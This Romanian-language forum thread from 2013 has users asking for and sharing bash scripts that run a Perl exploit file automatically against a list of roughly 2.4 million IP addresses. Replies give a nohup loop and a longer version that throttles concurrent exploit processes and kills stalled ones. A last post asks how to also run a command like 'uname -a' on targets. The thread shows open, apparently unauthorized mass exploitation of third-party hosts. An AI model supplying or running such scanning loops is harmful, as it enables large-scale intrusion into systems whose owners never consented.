florinul Posted July 8, 2013 Report Share Posted July 8, 2013 Salutare tuturor stie cineva cum se face un script in perl sau in bash care sa incerce o lista de ip-uri cu un anumit exploit de exemplu am o lista de 2434543 de ip-urisi exploitul con.plcum fac ca acel con.pl sa incerce automat lista de ip-uri? Quote Link to comment Share on other sites More sharing options...
Brenin Posted July 8, 2013 Report Share Posted July 8, 2013 (edited) ... Edited January 5, 2014 by Brenin Quote Link to comment Share on other sites More sharing options...
Nytro Posted July 8, 2013 Report Share Posted July 8, 2013 for ip in `cat ips.txt`do nohup perl expl.pl $ip > /dev/nulldone Quote Link to comment Share on other sites More sharing options...
d4rkm4nx99 Posted July 8, 2013 Report Share Posted July 8, 2013 for ip in `cat ips.txt`do nohup perl expl.pl $ip > /dev/nulldonebanuiesc ca codul asta il pui undeva la inceput in exploit ? Quote Link to comment Share on other sites More sharing options...
florinul Posted July 8, 2013 Author Report Share Posted July 8, 2013 funtioneza . Multumesc Nytro Quote Link to comment Share on other sites More sharing options...
Eric Posted July 8, 2013 Report Share Posted July 8, 2013 ceva mai complex:for IP in `cat ips.txt` ; doCONTOR=`ps aux | grep -c perl`while [ $CONTOR -ge 350 ];doCONTOR=`ps aux | grep -c perl`sleep 60 # timeout daca ajunge la procesele stabilite mai sus adica 350doneif [ $CONTOR -le 350 ]; then perl expl.pl $IP &fidonedaca vrei sa si inchida procesele dupa timeout-ul stabilit de tine, mai adaugi un killall -9 perl dupa sleep adica:for IP in `cat ips.txt` ; doCONTOR=`ps aux | grep -c perl`while [ $CONTOR -ge 350 ];doCONTOR=`ps aux | grep -c perl`sleep 60 # timeout daca ajunge la procesele stabilite mai sus adica 350killall -9 perldoneif [ $CONTOR -le 350 ]; then perl expl.pl $IP &fidone Quote Link to comment Share on other sites More sharing options...
florinul Posted July 9, 2013 Author Report Share Posted July 9, 2013 salut HoWn3r . Mersi pentru ajutorul acordat . ce vroiam sa te intreb in legatura cu time-outul ala . De exempl fac scriptu il rulez , iar exploitu incearca perl c.pl 127.0.0.1 dar e in time out sau serverul blocat cum fac sa ii dea ctr+c automat dupa un timp ca asa blocat poate sa stea si 5 ore . Sau e exact cum ai spus tu mai sus Quote Link to comment Share on other sites More sharing options...
florinul Posted July 17, 2013 Author Report Share Posted July 17, 2013 idei ceva mai complexe ? Quote Link to comment Share on other sites More sharing options...
pinkpanter Posted January 23, 2014 Report Share Posted January 23, 2014 ceva mai complex:for IP in `cat ips.txt` ; doCONTOR=`ps aux | grep -c perl`while [ $CONTOR -ge 350 ];doCONTOR=`ps aux | grep -c perl`sleep 60 # timeout daca ajunge la procesele stabilite mai sus adica 350doneif [ $CONTOR -le 350 ]; then perl expl.pl $IP &fidonedaca vrei sa si inchida procesele dupa timeout-ul stabilit de tine, mai adaugi un killall -9 perl dupa sleep adica:for IP in `cat ips.txt` ; doCONTOR=`ps aux | grep -c perl`while [ $CONTOR -ge 350 ];doCONTOR=`ps aux | grep -c perl`sleep 60 # timeout daca ajunge la procesele stabilite mai sus adica 350killall -9 perldoneif [ $CONTOR -le 350 ]; then perl expl.pl $IP &fidonescuza-ma ca te intreb, dar in cazul in care in loc de ip ai h t t p : // t e s t . c o m / test / se poate face sa dea automat si o comanda de exemplu uname -a. Quote Link to comment Share on other sites More sharing options...